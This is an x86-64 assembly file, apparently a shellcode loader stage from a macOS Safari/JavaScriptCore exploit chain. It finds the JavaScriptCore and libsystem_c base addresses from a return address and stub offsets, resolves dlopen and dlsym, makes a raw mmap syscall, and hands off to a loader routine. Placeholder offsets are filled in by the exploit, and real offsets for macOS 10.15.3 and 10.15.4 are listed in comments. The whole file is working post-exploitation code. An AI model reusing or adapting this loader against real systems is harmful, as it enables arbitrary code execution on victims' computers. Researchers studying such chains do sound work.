94 lines
2.0 KiB
ArmAsm
94 lines
2.0 KiB
ArmAsm
.intel_syntax noprefix
|
|
.globl _dlopen_ptr
|
|
.globl _dlsym_ptr
|
|
|
|
lea rcx, [rbp+0x10]
|
|
mov rax, [rbp+0x8]
|
|
mov rdi, [rax+0x10]
|
|
|
|
mov rax, [rsp] // return address
|
|
sub rax, [rip+JSC_llint_entry_call_offset]
|
|
mov r9, rax // [scratch] r9 = JavaScriptCore.__TEXT.__text
|
|
|
|
add rax, [rip+JSC_confstr_stub_offset]
|
|
xor rbx, rbx
|
|
mov ebx, [rax + 2]
|
|
add rax, rbx
|
|
add rax, 6
|
|
mov rax, [rax]
|
|
sub rax, [rip+libsystem_c_confstr_offset]
|
|
mov r10, rax // [scratch] r10 = libsystem_c base
|
|
|
|
mov rax, r10
|
|
add rax, [rip+libsystem_c_dlopen_stub_offset]
|
|
mov rsi, rax
|
|
|
|
mov rax, r10
|
|
add rax, [rip+libsystem_c_dlsym_stub_offset]
|
|
mov rdx, rax
|
|
|
|
call _main
|
|
ret
|
|
|
|
_main:
|
|
push rbp
|
|
mov rbp, rsp
|
|
push r14
|
|
push r15
|
|
and rsp, ~0xf
|
|
|
|
mov [rip+_dlopen_ptr], rsi
|
|
mov [rip+_dlsym_ptr], rdx
|
|
|
|
// rdi == library base pointer (mach-o header)
|
|
// rsi == argv
|
|
mov rsi, rcx
|
|
call _load
|
|
|
|
lea rsp, [rbp - 0x10]
|
|
pop r15
|
|
pop r14
|
|
pop rbp
|
|
ret
|
|
|
|
_mmap:
|
|
push rbp
|
|
mov rbp, rsp
|
|
push r15
|
|
push r14
|
|
push r12
|
|
push rbx
|
|
mov eax, 0x20000C5
|
|
mov r10, rcx
|
|
syscall
|
|
pop rbx
|
|
pop r12
|
|
pop r14
|
|
pop r15
|
|
pop rbp
|
|
ret
|
|
|
|
_dlopen_ptr: .quad 0
|
|
_dlsym_ptr: .quad 0
|
|
|
|
JSC_confstr_stub_offset: .quad 0x0FF5370041414141
|
|
JSC_llint_entry_call_offset: .quad 0x0FF5370041414142
|
|
libsystem_c_confstr_offset: .quad 0x0FF5370041414143
|
|
libsystem_c_dlopen_stub_offset: .quad 0x0FF5370041414144
|
|
libsystem_c_dlsym_stub_offset: .quad 0x0FF5370041414145
|
|
|
|
//10.15.3
|
|
//JSC_confstr_stub_offset: .quad 0xE7D8B4
|
|
//JSC_llint_entry_call_offset: .quad 0x00361f13
|
|
//libsystem_c_confstr_offset: .quad 0x00002644
|
|
//libsystem_c_dlopen_stub_offset: .quad 0x80430
|
|
//libsystem_c_dlsym_stub_offset: .quad 0x80436
|
|
|
|
//10.15.4
|
|
//JSC_confstr_stub_offset: .quad 0xF96446
|
|
//JSC_llint_entry_call_offset: .quad 0x00380a1d
|
|
//libsystem_c_confstr_offset: .quad 0x00002be4
|
|
//libsystem_c_dlopen_stub_offset: .quad 0x8021e
|
|
//libsystem_c_dlsym_stub_offset: .quad 0x80224
|
|
|